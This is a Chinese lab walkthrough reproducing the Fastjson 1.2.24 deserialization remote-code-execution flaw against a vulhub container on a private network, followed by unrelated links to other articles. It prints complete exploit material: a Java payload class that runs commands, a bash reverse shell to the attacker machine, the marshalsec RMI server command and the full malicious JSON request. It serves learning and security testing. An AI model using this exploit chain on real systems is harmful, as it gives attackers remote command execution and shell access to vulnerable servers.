Fastjson1.2.24漏洞复现-基于vulhub漏洞平台(文件上传写入-反弹shell)
Fastjson1.2.24漏洞复现-基于vulhub漏洞平台
环境准备:
192.168.59.130 攻击机 window10
192.168.59.135 靶机 centos8
声明:不涉及互联网上的资源,学习都在内网完成,一切皆用于学习记录,不可用于其他用途
环境准备:(自行baidu安装)可能环境准备比较折磨,问题会不断,慢慢来,有点耐心就行。
两台设备都安装1.8.0的jdk,python
window10:maven、marshalsec(反序列化环境)
centos8:安装docker 搭建vulhub靶场环境,要装docker-compose组件才能启动vulhub环境
我踩过的坑都在环境搭建,yum源用ali的吧,从本地到centos8的文件互传(xshell7),可以安装lszrz(应该是,忘了,可以查一下),尽可能用自己熟悉的Linux吧。
看了比较多文章,写的都挺好的。
明确一下复现原理:
被攻击者所在网站解析json时,没有对json的内容进行验证,就对json进行解析成java对象,然后去执行。攻击者可以构造对应的payload执行代码,去使被攻击者执行,达到代码执行或命令执行的目的,从而实现对被攻击者的安全测试。
1.文件上传
话不多说,开干!!!!
目前所有准备就绪
centos8目录结构:
[root@192 ~]# ll
total 198796
-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg
-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gz
drwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsec
drwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub
cd vulhub/fastjson/1.2.24-rce/ 进入vulhub的fastjson1.2.24这个目录
docker-compose up -d 启动漏洞环境
测试:
访问:http://IP:8090

我在攻击机的E盘下新建了一个名为java的文件夹,然后新建一个TouchFile.java文件,写入以下代码:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success111111111"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
在java路径下然后调出cmd命令行,直接回车,执行javac TouchFile.java,编译:


在Java的目录下的命令行中执行(要安装python,具体配置去baidu搜索):
python2 python -m SimpleHTTPServer 4444
python3 python3 -m http.server 4444

找到并进入marshalsec目录,直接cmd,启动RMI服务,监听9999端口并加载远程类TouchFile.class:
mvn clean package -DskipTests //有success,就成功了

然后会在marshalsec目录生成一个target目录,切换进去 发现生成了marshalsec-0.0.3-SNAPSHOT-all.jar:

cd target
开启rmi服务:这里的IP地址写攻击机开启http服务的地址
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/#TouchFile" 9999

打开burp suite抓包,然后刷新http://192.168.59.135:8090,开始转圈圈:

来到burp suite:

修改payload,把请求体中的GET改成POST:

主要payload是红色框框住的那块
Content-Type:application/json //表明这个是json代码
Content-Length:164
下面有

这是我构造的payload,我看了网上很多,放进去都不行,触发不了漏洞:
POST / HTTP/1.1
Host: 192.168.59.135:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;en
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.59.130:9999/TouchFile",
"autoCommit":true
}
}
效果:
查看rmi

查看docker容器
docker ps
docker exec -it 容器id /bin/bash


!!!!成功写入创建文件
2.反弹shell
其实配置差不多
目前所有准备就绪
centos8目录结构:
[root@192 ~]# ll
total 198796
-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg
-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gz
drwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsec
drwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub
cd vulhub/fastjson/1.2.24-rce/ 进入vulhub的fastjson1.2.24这个目录
docker-compose up -d 启动漏洞环境
测试:
访问:http://IP:8090

我在攻击机的E盘下新建了一个名为java的文件夹,然后新建一个TouchFile.java文件,写入以下代码:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.59.130/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
在java路径下然后调出cmd命令行,直接回车,执行javac TouchFile.java,编译:


在Java的目录下的命令行中执行(要安装python,具体配置去baidu搜索):
python2 python -m SimpleHTTPServer 4444
python3 python3 -m http.server 4444

找到并进入marshalsec目录,直接cmd,启动RMI服务,监听9999端口并加载远程类TouchFile.class:
mvn clean package -DskipTests //有success,就成功了

然后会在marshalsec目录生成一个target目录,切换进去 发现生成了marshalsec-0.0.3-SNAPSHOT-all.jar:

cd target
开启rmi服务:这里的IP地址写攻击机开启http服务的地址
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/#TouchFile" 9999

不同点来了(安装ncat,或者nmap,可以自行baidu,很简单,无脑下一步就行)
监听2333端口
centos8的命令:nc -lvp 2333
由于我用的是window10(我安装的nmap)需要找到ncat.exe所在目录,否则无法运行nc:ncat.exe -lvp 2333

打开burp suite抓包,然后刷新http://192.168.59.135:8090
修改payload,把请求体中的GET改成POST
主要payload是红色框框住的那块
Content-Type:application/json //表明这个是json代码
Content-Length:164
下面有

依旧用这个payload,构造完点GO:
POST / HTTP/1.1
Host: 192.168.59.135:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;en
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.59.130:9999/TouchFile",
"autoCommit":true
}
}
看效果:


这个成功反弹shell,拿下!!!!!!!!

完活!结束了fastjson1.2.24漏洞复现
整一个流程下来,其实脉络很清晰了,就是通过构造payload去让被攻击机触发攻击机设计好的代码,大半天操作就想说这句话。
结束了
注:未经同意请勿转载,仅作学习使用。以上有描述不正确之处,望大家能不吝指出,共同学习共同进步。谢谢
Fastjson1.2.24漏洞复现-基于vulhub漏洞平台(文件上传写入-反弹shell)的更多相关文章
- Servlet3.0学习总结——基于Servlet3.0的文件上传
Servlet3.0学习总结(三)——基于Servlet3.0的文件上传 在Servlet2.5中,我们要实现文件上传功能时,一般都需要借助第三方开源组件,例如Apache的commons-fileu ...
- Struts2文件上传(基于表单的文件上传)
•Commons-FileUpload组件 –Commons是Apache开放源代码组织的一个Java子项目,其中的FileUpload是用来处理HTTP文件上传的子项目 •Commons-Fil ...
- [原创]java WEB学习笔记49:文件上传基础,基于表单的文件上传,使用fileuoload 组件
本博客为原创:综合 尚硅谷(http://www.atguigu.com)的系统教程(深表感谢)和 网络上的现有资源(博客,文档,图书等),资源的出处我会标明 本博客的目的:①总结自己的学习过程,相当 ...
- 用c++开发基于tcp协议的文件上传功能
用c++开发基于tcp协议的文件上传功能 2005我正在一家游戏公司做程序员,当时一直在看<Windows网络编程> 这本书,把里面提到的每种IO模型都试了一次,强烈推荐学习网络编程的同学 ...
- Python 基于Python实现Ftp文件上传,下载
基于Python实现Ftp文件上传,下载 by:授客 QQ:1033553122 测试环境: Ftp客户端:Windows平台 Ftp服务器:Linux平台 Python版本:Python 2.7 ...
- 构建基于阿里云OSS文件上传服务
转载请注明来源:http://blog.csdn.net/loongshawn/article/details/50710132 <构建基于阿里云OSS文件上传服务> <构建基于OS ...
- 基于socket实现大文件上传
import socket 1.客户端: 操作流程: 先拿到文件--->获取文件大小---->创建字典 1.制作表头 header 如何得到 他是一个二进制字符串 序列化得到 字典字符串 ...
- 从零开始的白帽子学习--stage1--常见漏洞类型介绍--part3--不安全的文件上传
Q:什么是文件上传漏洞 A:文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像.上传附件等等.当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型.后缀名.大小等 ...
- Servlet3.0学习总结(三)——基于Servlet3.0的文件上传
在Servlet2.5中,我们要实现文件上传功能时,一般都需要借助第三方开源组件,例如Apache的commons-fileupload组件,在Servlet3.0中提供了对文件上传的原生支持,我们不 ...
- 7 款基于 JavaScript/AJAX 的文件上传插件
本文整理了7款基于JavaScript和AJAX的文件上传插件,这些插件基本上都能实现以下功能: 多文件上传 拖拽操作 实时上传进度 自定义上传限制 希望能为你的开发工作带来帮助. 1. jQuer ...
随机推荐
- [OpenCV-Python] 23 图像变换
文章目录 OpenCV-Python:IV OpenCV中的图像处理 23 图像变换 23.1 傅里叶变换 23.1.1 Numpy 中的傅里叶变换 23.1.2 OpenCV 中的傅里叶变换 23. ...
- JavaWeb之day03js
目录: 1.js的String对象(****) 2.js的Array对象 (****) 3.js的Date对象 (****) * 获取当前的月 0-11,想要得到准确的月 +1 * 获取星期时候,星期 ...
- 文心一言 VS chatgpt (2)-- 算法导论1.2
一.给出在应用层需要算法内容的应用的一个例子,并讨论涉及的算法的功能. 文心一言: 在应用层需要算法内容的应用的一个例子是无人机自主飞行控制.无人机自主飞行控制需要算法来确定无人机的位置.速度和方向, ...
- 2020-11-04:java里,总体说一下集合框架。
福哥答案2020-11-04: 福哥口诀法:收马李色坤(Collection.Map.List.Set.Queue).李矢数链写(List:Vector矢量.ArrayList数组.LinkedLis ...
- 2022-04-15:给定一个非负数组arr,学生依次坐在0~N-1位置,每个值表示学生的安静值, 如果在i位置安置插班生,那么i位置的安静值变成0,同时任何同学都会被影响到而减少安静值, 同学安静值
2022-04-15:给定一个非负数组arr,学生依次坐在0~N-1位置,每个值表示学生的安静值, 如果在i位置安置插班生,那么i位置的安静值变成0,同时任何同学都会被影响到而减少安静值, 同学安静值 ...
- request args kwargs的作用
self.request : 包含了请求过来的对象 self.args:请求传递过来的参数,列表形式 self.kwargs:请求传递过来的参数,字典形式
- 记一次 Oracle 下的 SQL 优化过程
1. 介绍 事情是这样的,UAT 环境的测试小伙伴向我扔来一个小 bug,说是一个放大镜的查询很慢,转几分钟才出数据,我立马上开发环境试了一下,很快啊我说,放大镜的数据立马就出来了,然后我登录 UAT ...
- 【Python】爬虫下载视频
Python爬虫下载视频 前言 这两天我一时兴起想学习 PS ,于是去我的软件宝库中翻出陈年已久的 PhotoshopCS6 安装,结果发现很真流畅诶! 然后去搜索学习视频,网上的视频大多浮躁,收费, ...
- [MAUI]在.NET MAUI中复刻苹果Cover Flow
@ 目录 原理 3D旋转 平行变换 创建3D变换控件 绘制封面图片 应用3D旋转 应用平行变换 绘制倒影 创建绑定属性 创建绑定数据 创建布局 计算位置 计算3D旋转 创建动效 项目地址 Cover ...
- 2021年蓝桥杯C/C++大学B组省赛真题(路径)
题目描述: 小蓝学习了最短路径之后特别高兴,他定义了一个特别的图,希望找到图中的最短路径. 小蓝的图由2021 个结点组成,依次编号1 至2021. 对于两个不同的结点a, b,如果a 和b 的差的绝 ...